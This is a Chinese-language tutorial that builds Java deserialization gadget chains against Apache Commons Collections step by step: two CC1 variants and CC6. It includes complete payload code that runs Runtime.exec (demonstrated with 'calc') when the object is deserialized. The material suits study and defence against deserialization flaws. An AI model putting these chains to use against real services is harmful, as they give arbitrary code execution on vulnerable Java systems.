CommonsCollections1 第一条链子: 参考视频: Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili
Java环境 jdk8u65 下载链接:Java Archive Downloads - Java SE 8 (oracle.com)
什么是CommonsCollections Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。
Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。
CommonsCollections1 首先我们来看一个接口,该接口内有一个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public interface Transformer { public Object transform (Object input) ; }
我们在该接口的众多实现类中锁定可以利用的类InvokerTransformer
,发现InvokerTransformer
的transform
方法利用反射可以实现任意方法调用,执行过程是先从transform方法接收一个类,通过反射获得这个类的class对象,再通过构造函数接受方法名字,参数类型,参数列表,实现了任意方法调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
所以我们可以通过这行代码来弹计算器,其实也就是利用了Invokertransformer
中自带的反射省略了反射的步骤:
1 2 3 Runtime currentRuntime = Runtime.getRuntime();new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(currentRuntime);
我们接着找可利用的类,理想情况下如果有一个类的readObject
方法中调用了Invokertransformer.transform
,那么这个类就是我们反序列化的起点,但是我们并没有找到一个这样的类,所以接着向下找调用了Invokertransformer.transform
的其他类。
下一个可利用的类就是Commons Collections
中的TransformedMap
类:
我们主要看TransformedMap
的构造函数和decorate
方法:
1 2 3 4 5 6 7 8 9 10 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
TransformedMap
的构造方法为protected,因此提供了一个静态方法decorate
来使用它的构造方法,decorate
接受一个map,两个Transfoemer,并对这两个Transformer做了一个“装饰”操作。
TransformedMap
中找到checkSetValue
调用了Invokertransformer.transform
:
1 2 3 4 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
我们将上面弹计算器的payload比对一下:
1 2 new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(currentRuntime);
也就是说如果checkSetValue
中,我们将valueTransformer
替换成InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
,再将transform
的参数替换成Runtime对象,就可以替代上面的写法。想要替代valueTransformer
可以通过调用TransformedMap.decorate
将InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
赋值给valueTransformer
,修改payload如下:
1 2 3 4 InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap map = new HashMap (); TransformedMap.decorate(map,null ,invokerTransformer);
我们再来看怎么让value可控,首先要找调用checkSetValue
的方法:
我们锁定抽象类AbstractInputCheckedMapDecorator.MapEntry
,查看它的setValue
方法,并且TransformedMap
是该抽象类的实现类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
我们发现可以通过调用setValue(currentRuntime)
方法来触发其中的checkSetvalue
,我们现在需要一个entry来调用它的setValue方法,所以这里遍历一个Map,获取它的entry:
1 2 3 4 5 6 map.put("k" ,"v" ); for (Map.Entry entry:transformedMap.entrySet()) { entry.setValue(currentRuntime); }
payload此时修改为:
1 2 3 4 5 6 7 8 9 10 Runtime currentRuntime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap map = new HashMap (); map.put("k" ,"v" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()) { entry.setValue(currentRuntime); }
我们接着找setValue在其他位置的调用
这里我们需要对环境做一点小配置,由于下一个可利用类AnnotationInvocationHandler
是直接反编译出来的,在查找用法时找不到这个类,所以我们要将AnnotationInvocationHandler
的java文件添加到jdk中
我们先在openjdk找到有漏洞的java版本:jdk8u/jdk8u/jdk: af660750b2f4 (java.net)
在下载好的jdk中找到sun包 路径为jdk-af660750b2f4\\jdk-af660750b2f4\\src\\share\\classes
我们找到ysoserial使用的jdk8u65的目录,这里一般分两个情况
目录下有src.zip,利用解压工具解压后将上一步找到的sun包copy一份到src里
目录下没有src.zip,我们先在jdk1.8 u65\\
下新建一个src文件夹,再在jdk1.8 u65\\jre\\lib
下找到rt.jar
,注意这里不要用java -jar进行解压,直接用7zip等解压工具解压即可,解压后将里面的所有东西放在jdk1.8 u65\\src
下,再将上一步的sun包copy到src中
最后再在idea中左上角 文件 - 项目结构,在SDK的源路径(source path)中添加src文件夹即可
查找setValue的调用,发现在AnnotationInvocationHandler
的readObject中调用了setValue,跟进查看:
readObject中有一个遍历map的功能,那么我们现在就可以利用这个功能代替我们上面手动遍历map拿entry的操作了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; } private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
payload修改为:
1 2 3 4 5 6 7 8 9 10 11 12 Runtime currentRuntime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap map = new HashMap (); map.put("k" ,"v" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer); Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true ); Object o = annotationInvocationHandlerconstructor.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin" );
但是这里有几个问题:
1 2 3 4 5 memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name)));
这里对setValue传进去的参数应该是currentRuntime,但我们发现这个方法内的参数值我们不确定能不能控制
2.
currentRuntime是我们自己通过getRuntime方法得到的,但Runtime对象并没有继承Serializable,所以在反序列化时直接传入currentRuntime会导致反序列化失败
1 2 3 4 5 6 if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) memberValue.setValue
在执行setValue前需要绕过两个if判断
我们先来解决第二个问题,Runtime不能序列化,那么我们可以用Runtime.class来代替它,因为Class类中继承了Serializable,我们先写一个反射弹计算器的paylaod然后修改一下
1 2 3 4 5 Class runtime = Runtime.class;Method execMethod = runtime.getMethod("exec" , String.class);Method getRuntime = runtime.getMethod("getRuntime" );execMethod.invoke(getRuntime.invoke(null ,null ),"calc" );
通过InvokerTransformer获取getRuntime方法:
1 2 Method getRuntime = (Method) new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(Runtime.class);
我们利用InvokerTransformer执行任意代码的特点执行了getMethod方法,并且参数为getRuntime,最终拿到了getRuntime方法
接下来我们再利用InvokerTransformer通过执行invoke方法来调用getRuntime方法:
1 2 Runtime currentRuntime = (Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(getRuntime);
再通过反射弹计算器就可以了,payload修改如下,可以发现这个调用链类似于一个首尾相连的结构,上一个transformer传入下一个进行调用:
1 2 3 4 Method getRuntime = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);Runtime currentRuntime = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntime);new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(currentRuntime);
java中刚好有一个Transformer可以让他们串起来,形成这样一个链式调用结构,这样就可以更优雅的执行payload,就是ChainedTransformer
,我们将上面的三个transformer以数组格式传入:
1 2 3 4 5 6 7 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }); chainedTransformer.transform(Runtime.class);
这样这个问题就解决了,我们把这一串payload结合原先的payload进行替换:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }); HashMap map = new HashMap (); map.put("k" ,"v" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,chainedTransformer); Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true ); Object o = annotationInvocationHandlerconstructor.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin" );
我们发现并不能成功弹出计算器,这个时候就要解决我们的另外两个问题了,我们先来看一下这两个判断做了什么事
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
首先第一个if判断memberType是否为空,memberType是构造函数传入进来的Annotation的成员变量,name是从构造函数传入的map遍历时获取的key,上面代码的注释中提到了如果要绕过这层if,我们传入的map的key中就必须要有传入的Annotation的变量值,但Override内部没有值,所以我们用Target,并且将其中的value属性存入到map中去
1 2 3 map.put("value" ,"v" ); Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
我们再看第二层if,memberType是一个Annotation,而value是一个V(键值对中的Value类),所以这里直接返回false,通过第二层if:
1 2 3 4 5 6 7 8 9 Object value = memberValue.getValue();if (!(memberType.isInstance(value) || value instanceof ExceptionProxy )) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); }
剩下的最后一个问题,现在setValue中传入的不是我们想要的,这时我们需要另外一个Transformer,ConstantTransformer
,
它的transform方法不论接收什么对象,都可以原封不动的输出一个我们可控的值:
1 2 3 4 5 6 7 8 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
所以最终payload修改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public class CC1Test { public static void main (String[] args) throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }); HashMap map = new HashMap (); map.put("value" ,"v" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,chainedTransformer); Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true ); Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
我们把链子倒着推了一遍,在进行反序列化的时候是从我们编写payload的最后开始触发的,也就是AnnotationInvocationHandler
的readObject方法,如果还有不懂的地方可以下断点调试一下。
第二条链子: 我们在第一条链子中找InvokerTransformer.transform的下一调用时当时找到了两个Map,但后来我们将三个InvokerTransfomer封装进了一个ChainedTransformer中,所以其实在ChainedTransformer的trnasform中调用的还是InvokerTransformer的transform方法,因此找InvokerTransformer.transform和找ChainedTransformer.transform的后续用法是一样的,第一条链中利用的是TransformedMap,还有另外一个LazyMap,其中的get方法调用了transform,我们在这里跟下去:
1 2 3 4 5 6 7 8 9 10 11 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
看一下LazyMap,get方法中存在factory.transform,factory构造函数可控,所以我们要做的就是将factory传值为ChainedTransformer,并且进入if判断,map中没有key才会触发transform:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
我们接着找谁调用了get,findusages结果六千多条我就不找了,最终是锁定在了AnnotationInvocationHandler.invoke
上,memberValues是构造函数传入的一个Map:
1 Object result = memberValues.get(membjieker);
1 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues)
由于AnnotationInvocationHandler
是一个动态代理调用处理器类 ,当在动态代理中调用AnnotationInvocationHandler
的方法时就会自动调用invoke,这里给出的是AnnotationInvocationHandler.readObject
,可以说是很巧了,通过自己调用自己,其实用其他的类也是可以的,也算是一个比较有趣的点,我们来看调用过程:
先看invoke:
1 2 3 4 5 6 7 if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); Object result = memberValues.get(member);
想要执行get方法我们要保证前面的两个if不能执行,首先方法名不能为equals,并且要是一个无参方法,在readObject中恰好调用了memberValues的entrySet方法:
1 for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
我们正向梳理一下流程:
共需要两个AnnotationInvocationHandler,第一个AIH中memberValues为Proxy(代理了第二个AnnotationInvocationHandler的动态代理),这样通过调用Proxy.entrySet来触发Proxy的invoke,Proxy中AIH的memberValues为LazyMap,在Proxy的invoke中调用了LazyMap.get,触发ChainedTransformer.transform,剩下的触发点就和之前的第一条链一样了。
开始搓payload:
由于前面的Transformer部分都一样,所以我直接把在CC1中生成ChainedTrnasformer封装到了一个类的静态方法中,这样在之后的链子中如果用到了ChainedTransformer直接调用这个方法即可:
LazyMap有两个decorate方法和两个构造函数,我们要用的是接收map和Transformer的decorate和构造函数:
1 2 3 4 5 6 7 8 9 10 11 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; }
paylaod:
1 2 3 ChainedTransformer ctf = getChain.getChainedTransformer();HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,ctf);
动态代理:
1 2 3 4 5 6 7 8 9 10 11 12 13 ChainedTransformer ctf = getChain.getChainedTransformer();HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,ctf); Class AIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor AIHC = AIH.getDeclaredConstructor(Class.class,Map.class);AIHC.setAccessible(true ); InvocationHandler AIHCIH = (InvocationHandler) AIHC.newInstance(Override.class,lazymap);Map mapProxy = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(),new Class []{Map.class},AIHCIH);Object o = AIHC.newInstance(Override.class,mapProxy);serialize(o); unserialize("ser.bin" );
我们在实例化InvocationHandler时传入的第一个注解参数不需要再是Target
,因为我们已经不再需要readObject中的setValue
,而是直接在遍历map时利用memberValues.entrySet()
。
CC1的两条利用链:
CommonsCollections6 在jdk8u71中对CommonsCollections1做出了修复,主要是在AnnotationInvocationHandler.readObject
中做出了修改,针对checkSetValue
链中,readObject中整个移除了对checkSetValue
的操作,针对LazyMap
链则将memberValues
设置为了客户端不可控,而是通过一个Filed类来进行读取。我们在实际进行反序列化的攻击时,如果使用CC1来攻击时,一旦jdk版本更改原有的gadgetchain就无法使用,这样对我们的攻击进行了极大的受限,那么有没有一个受jdk版本影响对的gadgetchain呢,我们来看CC6。
ysoserial中给出的gadgetchain,可以看到链子后半截直到LazyMap.get()
和我们CC1的LazyMap链是一样的:
再往上看我们发现触发点是HashMap.hash
,这里和URLDNS 中非常像了,通过向HashMap
put一个键值对,那么在HashMap的readobject中就会对Map的键值对进行遍历,并且对每一个键值对的key进行hash,在进行hash时会对key进行hashCode。
根据上面ysoserial给出的gadgetchain,我们发现所需要调用的hashCode的类就是TiedMapEntry
,gadgetchain补充完之后就是这样了:
我们来看这个TiedMapEntry,它的构造函数接收一个Map和一个key,也就是说这个类储存的键值对格式是 Map-key,(注意这里key只是一个名字,我们通常说的key-value一般来说是key在前,value在后,但key是否在前是不一定的,HashMap中以Key-value格式储存键值对,那么对于HashMap来说在前面的就是key,而TiedMapEntry以Map-key形式储存键值对,那么对它来说key就在后面)我们将lazymap扔到TiedMapEntry中:
1 2 3 4 5 ChainedTransformer ctf = getChain.getChainedTransformer();HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,ctf); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"123" );
再将tiedMapEntry
作为键值储存到HashMap中:
1 2 3 4 5 6 7 8 ChainedTransformer ctf = getChain.getChainedTransformer();HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,ctf); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"123" );HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry,"123" ); serialize(hashMap);
但是这里依然有一个问题,如果运行一下上面的代码会发现我没有进行反序列化也弹出了计算器,这个问题我们在URLDNS中就遇到过,当序列化时,在我们puttiedMapEntry
时就已经触发了hashCode,计算器就会弹出,并不是通过反序列化来触发的,所以我们要加一段代码防止在put时就弹计算器,我这里是在decorate时,传一个无效的Transformer,put时就不会弹计算器,在序列化前将factor通过反射修改回去,反序列化的结果就不会受到影响:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ChainedTransformer ctf = getChain.getChainedTransformer(); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"123" ); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry,"123" ); lazyMap.remove("123" ); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,ctf); unserialize("ser.bin" );